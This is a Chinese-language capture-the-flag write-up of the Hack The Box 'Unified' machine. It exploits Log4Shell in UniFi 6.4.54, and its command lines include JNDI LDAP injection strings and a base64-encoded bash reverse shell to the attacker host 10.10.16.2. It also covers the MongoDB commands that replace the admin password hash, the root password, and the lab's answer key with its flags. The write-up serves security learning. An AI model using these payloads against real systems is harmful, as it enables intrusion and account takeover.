当前位置: 首页 > news >正文

HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)

前言

  • 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 服务器开放了SSH服务,HTTP服务

访问网站 验证log4j2漏洞

  • 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用
    在这里插入图片描述
  • 可以观察到UniFi的版本号:6.4.54
    在这里插入图片描述
  • 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞

在这里插入图片描述

  • 使用tcpdump工具 监听网卡流量
    在这里插入图片描述
  • 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}

在这里插入图片描述

  • 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞

利用log4j2漏洞,反弹会话

  • 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码
  • 生成反弹命令 进行base64加解密:
    在这里插入图片描述
echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64

在这里插入图片描述
使用命令:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
  • 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
  • 同时要监听端口会话,等待反弹
    在这里插入图片描述
"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
  • 通过remember字段 构造命令,反弹会话
    在这里插入图片描述
script /dev/null -c bash
  • 监听端口,稳固会话

通过修改mongoDb数据库 管理员密码,进入网站后台

  • 查询unifi 中间件的数据库,一般默认是mongdb数据库
  • mongdb默认数据库为ace
    在这里插入图片描述
  • 数据库端口开放在 27117
    在这里插入图片描述
mongo --port 27117 ace 
  • 指定端口号,连接mongo数据库
    在这里插入图片描述
db.admin.find().forEach(printjson);
  • 通过这个命令可以枚举用户信息,并且以json格式打印
    在这里插入图片描述
  • 通过hashid工具 分析哈希值使用的加密方式
    在这里插入图片描述
  • 通过mkpasswd 设置哈希编码,构造新密码
    在这里插入图片描述
db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
  • 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功

在这里插入图片描述

  • 成功进入后台

通过后台提供的ssh,获取flag

在这里插入图片描述

  • 账号:root
  • 密码:NotACrackablePassword4U2022
    在这里插入图片描述
  • 登录用户
    在这里插入图片描述
  • 用户flag:6ced1a6a89e666c0620cdb10262ba127
    在这里插入图片描述
  • root flag:e50bc93c75b634e4b272d2f771c33681

知识点讲解

  • 受影响版本:

Apache Log4j 2.x <= 2.14.1

  • 受影响的应用组件:

Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2

  • log4j2漏洞原理:

log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器

  • 流量特征:

数据包里面有{jndi: ldap}字段

  • 修复:

1.禁止 用户 请求 参数 出现 攻击关键字
​>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网

答案

  • 1.服务器开放的前四个端口是什么?

22,6789,8080,8443

  • 2.8443端口运行服务的标题是什么?

UniFi Network

  • 3.中间件版本是多少?

6.4.54

  • 4.此CVE编号是多少?

CVE-2021-44228

  • 5.JNDI注入使用什么协议?

ldap

  • 6.用什么工具来监测网卡,验证是否存在漏洞?

TcpDump

  • 7.需要拦截哪个流量端口?

389

  • 8.Mongod服务运行在哪个端口?

27117

  • 9.UniFi 在Mongod数据库的默认库是什么?

ace

  • 10.在Mongod数据库中使用什么命令来枚举用户信息?

db.admin.find()

  • 11.在Mongod数据库中使用什么明来来更新数据?

db.admin.update()

  • 12.root用户的密码是什么?

NotACrackablePassword4U2022

  • 13.用户flag是什么?

6ced1a6a89e666c0620cdb10262ba127

  • 14.root flag是什么?

e50bc93c75b634e4b272d2f771c33681

总结

  • 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码

相关文章:

HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)

前言 各位师傅大家好&#xff0c;我是qmx_07&#xff0c;今天给大家讲解Unified靶机 渗透过程 信息搜集 服务器开放了SSH服务&#xff0c;HTTP服务 访问网站 验证log4j2漏洞 8443端口&#xff1a;UniFi 网络 &#xff0c;访问查询 是否有Nday漏洞利用 可以观察到UniFi的版…...

每天五分钟深度学习PyTorch:不同的神经网络层设置不同的学习率

本文重点 我们前面学习了基本网络模型的搭建,获取网络模型的子结构,以及优化器optim,我们发现我们设置优化器的时候,是对整个模型设置的,也就是说整个模型的参数学习率是一样,本节课程我们学习如何给不同的网络层设置不同的学习率。主要还是通过优化器optim来实现的,本…...

【渗透测试】——DVWA靶场搭建

&#x1f4d6; 前言&#xff1a;DVWA&#xff08;Damn Vulnerable Web Application&#xff09;是一个用于安全漏洞测试的 PHP/MySQL 网络应用&#xff0c;旨在为安全专业人士提供一个合法的环境&#xff0c;以测试他们的技能和工具&#xff0c;同时帮助 Web 开发者更好地理解 …...

国内人工智能产业发展现状及对策研究

一、引言 人工智能作为新时代科技革命和产业变革的核心力量&#xff0c;正深刻改变着全球经济格局。我国政府高度重视人工智能产业发展&#xff0c;将其列为国家战略性新兴产业。在此背景下&#xff0c;本文旨在分析我国人工智能产业发展现状&#xff0c;探讨面临的挑战&#x…...

完整版订单超时自动取消功能

前几天对实习还是继续学习技术产生了抉择&#xff0c;问了一个前辈&#xff0c;他抛给我一个问题&#xff0c;怎么做15分钟订单自动取消&#xff0c;我说然后到时间之后&#xff0c;自动执行这个订单关闭业务&#xff0c;比如把锁了的库存给解开等等操作&#xff0c;然后在数据…...

算法刷题:300. 最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组、1143. 最长公共子序列

300. 最长递增子序列 1.dp定义&#xff1a;dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 2.递推公式&#xff1a;if (nums[i] > nums[j]) dp[i] max(dp[i], dp[j] 1); 注意这里不是要dp[i] 与 dp[j] 1进行比较&#xff0c;而是我们要取dp[j] 1的最大值…...

go 笔记

数据结构与 方法&#xff08;增删改查&#xff09; 安装goland,注意版本是2024.1.1&#xff0c;不是2024.2.1&#xff0c;软件下载地址也在链接中提供了 ‘go’ 不是内部或外部命令&#xff0c;也不是可运行的程序 或批处理文件。 在 Windows 搜索栏中输入“环境变量”&#…...

路由等保测评

1.身份鉴别 应对登录的用户进行身份标识和鉴别&#xff0c; 身份标识具有唯一性&#xff0c;身份鉴别信息具有复杂度要求并定期更换。 可以使用“ service password-encryption"命令对存储在配置文件中的所有口令和类似数据进行加密&#xff0c; 以避免攻击者通过读取配…...

C# 反射之动态生成dll/exe

这个可能应该属于反射的高级使用范围了&#xff0c;平常在项目中使用的人估计也不是很多。由于使用反射的话会降低性能&#xff0c;比如之前用到的GetValue、SetValue等之类&#xff0c;但是使用这种方式会大大提高效率&#xff0c;在这里我只想说&#xff0c;都直接写IL指令了…...

Rust 所有权 Slices

文章目录 发现宝藏1. Slice 的基础知识1.1 什么是 Slice&#xff1f;1.2 如何创建 Slice&#xff1f; 2. 处理字符串 Slice2.1 字符串的 Slice2.2 字符串的 Unicode 和切片 3. 在函数中使用 Slice3.1 传递 Slice 给函数3.2 可变 Slice 的函数 4. 复杂示例4.1 处理多维数组的 Sl…...

windows 安全与网络管理问题

问题&#xff1a;当编写的脚本或程序运行的时候&#xff0c;可能被windows阻止访问网络甚至被删除 避免被删除 wini 进入设置界面 -> 选择更新与安全 -> 选择windwos defender -> 点击添加排除项&#xff0c;将指定的文件或目录排除&#xff0c;避免被软件删除 允许…...

基于Python实现一个庆祝国庆节的小程序

功能&#xff1a; 添加互动功能&#xff1a;允许用户选择不同的祝福语或者查询不同的国庆节信息。动态背景音乐&#xff1a;播放国庆节相关的背景音乐。增加节日小测验&#xff1a;提供一些关于国庆节的趣味小测验&#xff0c;让用户参与。增强图形用户界面 (GUI)&#xff1a;…...

Anaconda 安装与使用教程

Anaconda 安装与使用教程 介绍 Anaconda 是一个用于科学计算的 Python 和 R 的发行版&#xff0c;它包含了众多流行的科学计算、数据分析、机器学习等领域的库。本教程旨在帮助初学者快速上手 Anaconda&#xff0c;并学会如何使用其管理环境以及安装包。 第一步&#xff1a;…...

时序预测SARIMAX模型

1. 项目背景 本文基于kaggle平台相关竞赛项目&#xff0c;具体连接如下&#xff1a; Time Series Forecasting With SARIMAX 基本信息如内容说明、数据集、已提交代码、当前得分排名以及比赛规则等&#xff0c;如图【1】所示&#xff0c;可以认真阅读。 图 1 2. 数据读取 …...

gin集成jaeger中间件实现链路追踪

1. 背景 新业务线带来新项目启动&#xff0c;需要改进原有项目的基础框架和组件能力&#xff0c;以提升后续开发和维护效率。项目搭建主要包括技术选型、框架搭建、基础服务搭建等。这其中就涉及到链路追踪的内容&#xff0c;结合其中的踩坑情况&#xff0c;用一篇文章来说明完…...

前端层面----监控与埋点

前言&#xff1a; 站在产品的视角&#xff0c;经常会问如下几个问题&#xff1a; 产品有没有用户使用 用户用得怎么样 系统会不会经常出现异常 如何更好地满足用户需求服务用户 当站在技术视角时&#xff0c;经常会问如下几个问题&#xff1a; 系统出现异常的频率如何 异常…...

linux Command

linux Command 1. 系统监控命令 1.1 top top [param] top -H -p pid&#xff0c;查看进程pid下面的子线程。-b以处理模式操作-c显示完整的命令行而不只是显示命令名。-d 屏幕刷新间隔时间。-l 忽略失效过程。-s 保密模式。-S 累积模式。-u 【用户名】 指定用户名。-p 【进程…...

uniapp登录页面( 适配:pc、小程序、h5)

<!-- 简洁登录页面 --> <template><view class"login-bg"><image class"img-a" src"https://zhoukaiwen.com/img/loginImg/2.png"></image><image class"img-b" src"https://zhoukaiwen.com/im…...

关于OceanBase 多模一体化的浅析

在当今多元化的业务生态中&#xff0c;各行各业对数据库系统的需求各有侧重。举例来说&#xff0c;金融风控领域对数据库的高效事务处理&#xff08;TP&#xff09;和分析处理&#xff08;AP&#xff09;能力有着严格要求&#xff1b;游戏行业则更加注重文档数据库的灵活性和性…...

快速git

下载 sudo apt install git配置 $ git config --global user.name "John Doe" $ git config --global user.email johndoeexample.com没有空格可以不加双引号如果~/.ssh没有先创建&#xff08;下一步用&#xff09; ssh方式制作密钥 github解释 #以邮箱作为标签…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢&#xff0c;博主的学习进度也是步入了Java Mybatis 框架&#xff0c;目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学&#xff0c;希望能对大家有所帮助&#xff0c;也特别欢迎大家指点不足之处&#xff0c;小生很乐意接受正确的建议&…...

python如何将word的doc另存为docx

将 DOCX 文件另存为 DOCX 格式&#xff08;Python 实现&#xff09; 在 Python 中&#xff0c;你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是&#xff0c;.doc 是旧的 Word 格式&#xff0c;而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...

微信小程序云开发平台MySQL的连接方式

注&#xff1a;微信小程序云开发平台指的是腾讯云开发 先给结论&#xff1a;微信小程序云开发平台的MySQL&#xff0c;无法通过获取数据库连接信息的方式进行连接&#xff0c;连接只能通过云开发的SDK连接&#xff0c;具体要参考官方文档&#xff1a; 为什么&#xff1f; 因为…...

Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?

在大数据处理领域&#xff0c;Hive 作为 Hadoop 生态中重要的数据仓库工具&#xff0c;其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式&#xff0c;很多开发者常常陷入选择困境。本文将从底…...

免费PDF转图片工具

免费PDF转图片工具 一款简单易用的PDF转图片工具&#xff0c;可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件&#xff0c;也不需要在线上传文件&#xff0c;保护您的隐私。 工具截图 主要特点 &#x1f680; 快速转换&#xff1a;本地转换&#xff0c;无需等待上…...

三分算法与DeepSeek辅助证明是单峰函数

前置 单峰函数有唯一的最大值&#xff0c;最大值左侧的数值严格单调递增&#xff0c;最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值&#xff0c;最小值左侧的数值严格单调递减&#xff0c;最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...

苹果AI眼镜:从“工具”到“社交姿态”的范式革命——重新定义AI交互入口的未来机会

在2025年的AI硬件浪潮中,苹果AI眼镜(Apple Glasses)正在引发一场关于“人机交互形态”的深度思考。它并非简单地替代AirPods或Apple Watch,而是开辟了一个全新的、日常可接受的AI入口。其核心价值不在于功能的堆叠,而在于如何通过形态设计打破社交壁垒,成为用户“全天佩戴…...

Sklearn 机器学习 缺失值处理 获取填充失值的统计值

💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中,数据清…...

C++--string的模拟实现

一,引言 string的模拟实现是只对string对象中给的主要功能经行模拟实现&#xff0c;其目的是加强对string的底层了解&#xff0c;以便于在以后的学习或者工作中更加熟练的使用string。本文中的代码仅供参考并不唯一。 二,默认成员函数 string主要有三个成员变量&#xff0c;…...

深度解析云存储:概念、架构与应用实践

在数据爆炸式增长的时代&#xff0c;传统本地存储因容量限制、管理复杂等问题&#xff0c;已难以满足企业和个人的需求。云存储凭借灵活扩展、便捷访问等特性&#xff0c;成为数据存储领域的主流解决方案。从个人照片备份到企业核心数据管理&#xff0c;云存储正重塑数据存储与…...